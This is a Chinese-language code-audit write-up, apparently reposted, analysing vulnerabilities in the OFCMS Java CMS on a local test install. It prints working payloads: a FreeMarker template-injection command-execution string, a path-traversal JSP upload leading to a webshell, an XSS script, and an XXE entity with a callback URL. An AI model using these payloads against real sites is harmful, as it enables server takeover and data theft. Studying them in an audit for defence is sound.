Java代码审计之路一(OFCMS)
Posted OceanSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java代码审计之路一(OFCMS)相关的知识,希望对你有一定的参考价值。
开启 Java 审计之路,从最基础的项目开始
文章目录
OFCMS
搭建环境
-
导入项目
使用 idea 导入文件,注意这里是导入不是直接打开
import project 与 open 的区别:
import project:如果项目不是用 idea 开发的,用 import 打开。因为这个情况下,这个项目不是 idea 模型,使用 import 可以避免许多不必要的麻烦。
open:如果项目之前就是 idea 开发的,直接用 open 即可可以在 idea 开始界面选择 import Project,或者在开启项目的情况下,选择以下路径(新版 idea 已经取消开始界面的导入选项,所以使用第二种方法就好)
选择 maven
-
配置数据库密码
新建数据库 ofcms,导入数据库文件,可以使用 navicat 或者 idea 自带的都可以
在 ofcms-admin/src/main/resources/dev/conf/ 文件夹下 db.properties 文件,修改数据库的账号和密码
-
修改根目录 maven 项目依赖即 pom.xml 文件
修改为合适版本,点击 import changes
-
配置 tomcat 服务
添加 tomcat server local
设置 tomcat 目录
点击 deployment
点击确定修改成功后下边的 appliaction context 就是文件目录,可以自定义修改
配置成功后在 idea 右上角可以看到程序启动按钮为绿色
-
启动项目访问
站点地址:http://localhost:8080/ofcms-admin/
后台地址: http://localhost:8080/ofcms-admin/admin/login.html
账密:admin/123456
这是手动部署的方式,也可以选择下载 war 包以安装方式部署
为了方便调试代码,可以使用 SQL 监控工具查看数据库具体执行语句
推荐两个工具:
漏洞分析
拿到一个 Java 系统后首先分辨是 普通 servlet 还是 ssh/ssm 框架是否使用 maven 工程,如果使用的 maven 工程首先看 pom.xml 配置文件去对系统有一个整体的了解
漏洞位置为:ofcms-
admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java
查看函数 getPara
可以发现这里使用自定义函数 getPara 来接收用户输入的参数,然后使用 updata 方法,进入 updata 方法
updata 方法是重载的,只需要看红框里的即可
再继续往下跟 MAIN.updata
可以发现输入的数据作为语句进行编译并且在 executeUpdate 处进行了执行
并且进行回显
有同学可能会感到疑问,这里不是用了预编译,不是预编译可以防止 SQL 注入么?
这里确实是用了预编译,但是这里没有正确使用,正确的方法如下
public void select()
Connection connection = null;
PreparedStatement preparedStatement = null;
ResultSet rs = null;
String sql = "select * from user limit 0,1";
try
//获取数据连接
connection = basicUse.getConnection();
//获取发送sql指令执行sql对象
preparedStatement = connection.prepareStatement(sql);
//返回查询结果集用于保存数据库查询内容
rs = preparedStatement.executeQuery();
发现漏洞点这里是将用户输入的语句直接编译执行,而不是作为编译的参数,所以语句可以正常执行
模板注入
模板注入可以说是 Java 中最常出现的漏洞,像 Struts2 的 OGNL 表达式注入,Spring SPEL 表达式注入,甚至 Log4j 的注入都可以认为是模板注入的范畴
浏览 pom.xml 的时候发现存在模版引擎 freemarker,该模版是存在模版注入的
通过前台首页找到对应的模版
回到系统中找到该模版,然后直接使用 payload 执行系统命令,这里执行的命令是 whoami
<#assign ex="freemarker.template.utility.Execute"?new()>
$ ex("calc")
成功执行命令
文件上传
前台位置
代码位置
在 com.ofsoft.cms.admin.controller.cms.TemplateController 类的 save 方法中
和模板注入一样,没有对文件名和内容进行过滤,可以通过 …/ 向服务器写任意文件
尝试写一个 jsp 文件
直接 F12 改这里的 value 就可以修改文件名了,不行的话再用 burp
在 tomcat 目录下可以发现已经写入成功
直接用冰蝎连接
XSS
在 1.1.3 版本中新增文章评论功能,该功能存在 xss
在 save 方法中调用了 getParamsMap 方法,这个方法是用来获取用户提交的所有参数的,获取到所有参数后就调用Db.update()
方法将数据更新到数据库中,这里是没有进行过滤
抓取用户评论的请求数据包,修改 comment_content 内容为 xss payload:<script>alert(1)</script>
,提交数据包
XXE
在 com.ofsoft.cms.admin.controller.ReprotAction 类的 expReport 方法中,通过 get 参数接收 j,并且没有过滤,底下还进行了拼接,可以通过传入 …/ 来控制路径,后边调用了 compileReport 函数
在 compileReport 方法中又调用了JRXmlLoader.load()
方法,继续跟踪
在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档内容,默认是没有禁用外部实体解析的,所以这里是存在XXE漏洞的
因为在一开始路径拼接了 jrxml,所以说要利用的话也用这个文件,可以先生成一个文件,文件内容如下
<!DOCTYPE foo <!ENTITY % xxe SYSTEM "http://127.0.0.1:7777"> %xxe; ]>
http://localhost:8080/ofcms_admin/admin/reprot/expReport.html?j=../../static/payload
使用 python 启动一个简单的服务器,访问 url 即可收到请求
参考:
以上是关于Java代码审计之路一(OFCMS)的主要内容,如果未能解决你的问题,请参考以下文章